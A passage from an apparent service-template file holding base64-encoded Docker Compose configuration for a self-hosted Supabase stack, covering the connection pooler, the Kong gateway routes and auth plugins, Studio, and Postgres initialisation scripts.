JFU31AJHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9OiR7UE9TVEdSRVNfUE9SVDotNTQzMn0vX3N1cGFiYXNlJwogICAgICAtIENMVVNURVJfUE9TVEdSRVM9dHJ1ZQogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX1NVUEFWSVNPUlNFQ1JFVH0nCiAgICAgIC0gJ1ZBVUxUX0VOQ19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1ZBVUxURU5DfScKICAgICAgLSAnQVBJX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ01FVFJJQ1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBSRUdJT049bG9jYWwKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAnL2FwcC9iaW4vbWlncmF0ZSAmJiAvYXBwL2Jpbi9zdXBhdmlzb3IgZXZhbCAiJCQoY2F0IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMpIiAmJiAvYXBwL2Jpbi9zZXJ2ZXInCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgdGFyZ2V0OiAvZXRjL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgY29udGVudDogIns6b2ssIF99ID0gQXBwbGljYXRpb24uZW5zdXJlX2FsbF9zdGFydGVkKDpzdXBhdmlzb3IpXG57Om9rLCB2ZXJzaW9ufSA9XG4gICAgY2FzZSBTdXBhdmlzb3IuUmVwby5xdWVyeSEoXCJzZWxlY3QgdmVyc2lvbigpXCIpIGRvXG4gICAgJXtyb3dzOiBbW3Zlcl1dfSAtPiBTdXBhdmlzb3IuSGVscGVycy5wYXJzZV9wZ192ZXJzaW9uKHZlcilcbiAgICBfIC0+IG5pbFxuICAgIGVuZFxucGFyYW1zID0gJXtcbiAgICBcImV4dGVybmFsX2lkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfVEVOQU5UX0lEXCIpLFxuICAgIFwiZGJfaG9zdFwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfSE9TVE5BTUVcIiksXG4gICAgXCJkYl9wb3J0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QT1JUXCIpIHw+IFN0cmluZy50b19pbnRlZ2VyKCksXG4gICAgXCJkYl9kYXRhYmFzZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfREJcIiksXG4gICAgXCJyZXF1aXJlX3VzZXJcIiA9PiBmYWxzZSxcbiAgICBcImF1dGhfcXVlcnlcIiA9PiBcIlNFTEVDVCAqIEZST00gcGdib3VuY2VyLmdldF9hdXRoKCQxKVwiLFxuICAgIFwiZGVmYXVsdF9tYXhfY2xpZW50c1wiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX01BWF9DTElFTlRfQ09OTlwiKSxcbiAgICBcImRlZmF1bHRfcG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJkZWZhdWx0X3BhcmFtZXRlcl9zdGF0dXNcIiA9PiAle1wic2VydmVyX3ZlcnNpb25cIiA9PiB2ZXJzaW9ufSxcbiAgICBcInVzZXJzXCIgPT4gWyV7XG4gICAgXCJkYl91c2VyXCIgPT4gXCJwZ2JvdW5jZXJcIixcbiAgICBcImRiX3Bhc3N3b3JkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QQVNTV09SRFwiKSxcbiAgICBcIm1vZGVfdHlwZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX1BPT0xfTU9ERVwiKSxcbiAgICBcInBvb2xfc2l6ZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFXCIpLFxuICAgIFwiaXNfbWFuYWdlclwiID0+IHRydWVcbiAgICB9XVxufVxuXG50ZW5hbnQgPSBTdXBhdmlzb3IuVGVuYW50cy5nZXRfdGVuYW50X2J5X2V4dGVybmFsX2lkKHBhcmFtc1tcImV4dGVybmFsX2lkXCJdKVxuXG5pZiB0ZW5hbnQgZG9cbiAgezpvaywgX30gPSBTdXBhdmlzb3IuVGVuYW50cy51cGRhdGVfdGVuYW50KHRlbmFudCwgcGFyYW1zKVxuZWxzZVxuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLmNyZWF0ZV90ZW5hbnQocGFyYW1zKVxuZW5kXG4iCg==", + "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR184MDAwCiAgICAgIC0gJ0tPTkdfUE9SVF9NQVBTPTQ0Mzo4MDAwJwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEtPTkdfREFUQUJBU0U9b2ZmCiAgICAgIC0gS09OR19ERUNMQVJBVElWRV9DT05GSUc9L2hvbWUva29uZy9rb25nLnltbAogICAgICAtICdLT05HX0ROU19PUkRFUj1MQVNULEEsQ05BTUUnCiAgICAgIC0gJ0tPTkdfUExVR0lOUz1yZXF1ZXN0LXRyYW5zZm9ybWVyLGNvcnMsa2V5LWF1dGgsYWNsLGJhc2ljLWF1dGgnCiAgICAgIC0gS09OR19OR0lOWF9QUk9YWV9QUk9YWV9CVUZGRVJfU0laRT0xNjBrCiAgICAgIC0gJ0tPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSUz02NCAxNjBrJwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnREFTSEJPQVJEX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX0FETUlOfScKICAgICAgLSAnREFTSEJPQVJEX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2FwaS9rb25nLnltbAogICAgICAgIHRhcmdldDogL2hvbWUva29uZy90ZW1wLnltbAogICAgICAgIGNvbnRlbnQ6ICJfZm9ybWF0X3ZlcnNpb246ICcyLjEnXG5fdHJhbnNmb3JtOiB0cnVlXG5cbiMjI1xuIyMjIENvbnN1bWVycyAvIFVzZXJzXG4jIyNcbmNvbnN1bWVyczpcbiAgLSB1c2VybmFtZTogREFTSEJPQVJEXG4gIC0gdXNlcm5hbWU6IGFub25cbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9BTk9OX0tFWVxuICAtIHVzZXJuYW1lOiBzZXJ2aWNlX3JvbGVcbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9TRVJWSUNFX0tFWVxuXG4jIyNcbiMjIyBBY2Nlc3MgQ29udHJvbCBMaXN0XG4jIyNcbmFjbHM6XG4gIC0gY29uc3VtZXI6IGFub25cbiAgICBncm91cDogYW5vblxuICAtIGNvbnN1bWVyOiBzZXJ2aWNlX3JvbGVcbiAgICBncm91cDogYWRtaW5cblxuIyMjXG4jIyMgRGFzaGJvYXJkIGNyZWRlbnRpYWxzXG4jIyNcbmJhc2ljYXV0aF9jcmVkZW50aWFsczpcbi0gY29uc3VtZXI6IERBU0hCT0FSRFxuICB1c2VybmFtZTogJERBU0hCT0FSRF9VU0VSTkFNRVxuICBwYXNzd29yZDogJERBU0hCT0FSRF9QQVNTV09SRFxuXG5cbiMjI1xuIyMjIEFQSSBSb3V0ZXNcbiMjI1xuc2VydmljZXM6XG5cbiAgIyMgT3BlbiBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS92ZXJpZnlcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvdmVyaWZ5XG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9jYWxsYmFja1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWNhbGxiYWNrXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9jYWxsYmFja1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tYXV0aG9yaXplXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L2F1dGhvcml6ZVxuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvYXV0aG9yaXplXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIFNlY3VyZSBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjFcbiAgICBfY29tbWVudDogJ0dvVHJ1ZTogL2F1dGgvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5LyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUkVTVCByb3V0ZXNcbiAgLSBuYW1lOiByZXN0LXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9yZXN0L3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlc3QtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVzdC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgR3JhcGhRTCByb3V0ZXNcbiAgLSBuYW1lOiBncmFwaHFsLXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9ncmFwaHFsL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9ycGMvZ3JhcGhxbCdcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWxcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGdyYXBocWwtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZ3JhcGhxbC92MVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IHRydWVcbiAgICAgIC0gbmFtZTogcmVxdWVzdC10cmFuc2Zvcm1lclxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgYWRkOlxuICAgICAgICAgICAgaGVhZGVyczpcbiAgICAgICAgICAgICAgLSBDb250ZW50LVByb2ZpbGU6Z3JhcGhxbF9wdWJsaWNcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFNlY3VyZSBSZWFsdGltZSByb3V0ZXNcbiAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgIF9jb21tZW50OiAnUmVhbHRpbWU6IC9yZWFsdGltZS92MS8qIC0+IHdzOi8vcmVhbHRpbWU6NDAwMC9zb2NrZXQvKidcbiAgICB1cmw6IGh0dHA6Ly9yZWFsdGltZS1kZXY6NDAwMC9zb2NrZXRcbiAgICBwcm90b2NvbDogd3NcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXdzXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvYXBpXG4gICAgcHJvdG9jb2w6IGh0dHBcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9yZWFsdGltZS92MS9hcGlcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU3RvcmFnZSByb3V0ZXM6IHRoZSBzdG9yYWdlIHNlcnZlciBtYW5hZ2VzIGl0cyBvd24gYXV0aFxuICAtIG5hbWU6IHN0b3JhZ2UtdjFcbiAgICBfY29tbWVudDogJ1N0b3JhZ2U6IC9zdG9yYWdlL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHN0b3JhZ2UtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvc3RvcmFnZS92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG5cbiAgIyMgRWRnZSBGdW5jdGlvbnMgcm91dGVzXG4gIC0gbmFtZTogZnVuY3Rpb25zLXYxXG4gICAgX2NvbW1lbnQ6ICdFZGdlIEZ1bmN0aW9uczogL2Z1bmN0aW9ucy92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczo5MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGZ1bmN0aW9ucy12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9mdW5jdGlvbnMvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEFuYWx5dGljcyByb3V0ZXNcbiAgLSBuYW1lOiBhbmFseXRpY3MtdjFcbiAgICBfY29tbWVudDogJ0FuYWx5dGljczogL2FuYWx5dGljcy92MS8qIC0+IGh0dHA6Ly9sb2dmbGFyZTo0MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhbmFseXRpY3MtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYW5hbHl0aWNzL3YxL1xuXG4gICMjIFNlY3VyZSBEYXRhYmFzZSByb3V0ZXNcbiAgLSBuYW1lOiBtZXRhXG4gICAgX2NvbW1lbnQ6ICdwZy1tZXRhOiAvcGcvKiAtPiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogbWV0YS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9wZy9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cblxuICAjIyBQcm90ZWN0ZWQgRGFzaGJvYXJkIC0gY2F0Y2ggYWxsIHJlbWFpbmluZyByb3V0ZXNcbiAgLSBuYW1lOiBkYXNoYm9hcmRcbiAgICBfY29tbWVudDogJ1N0dWRpbzogLyogLT4gaHR0cDovL3N0dWRpbzozMDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2Utc3R1ZGlvOjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBkYXNoYm9hcmQtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBiYXNpYy1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4iCiAgc3VwYWJhc2Utc3R1ZGlvOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdHVkaW86MjAyNS4xMi4xNy1zaGEtNDNmNGY3ZicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAiZmV0Y2goJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcGxhdGZvcm0vcHJvZmlsZScpLnRoZW4oKHIpID0+IHtpZiAoci5zdGF0dXMgIT09IDIwMCkgdGhyb3cgbmV3IEVycm9yKHIuc3RhdHVzKX0pIgogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBIT1NUTkFNRT0wLjAuMC4wCiAgICAgIC0gJ1NUVURJT19QR19NRVRBX1VSTD1odHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwJwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdERUZBVUxUX09SR0FOSVpBVElPTl9OQU1FPSR7U1RVRElPX0RFRkFVTFRfT1JHQU5JWkFUSU9OOi1EZWZhdWx0IE9yZ2FuaXphdGlvbn0nCiAgICAgIC0gJ0RFRkFVTFRfUFJPSkVDVF9OQU1FPSR7U1RVRElPX0RFRkFVTFRfUFJPSkVDVDotRGVmYXVsdCBQcm9qZWN0fScKICAgICAgLSAnU1VQQUJBU0VfVVJMPWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19VUkw9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnQVVUSF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICAgIC0gJ0xPR0ZMQVJFX1VSTD1odHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19BUEk9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjt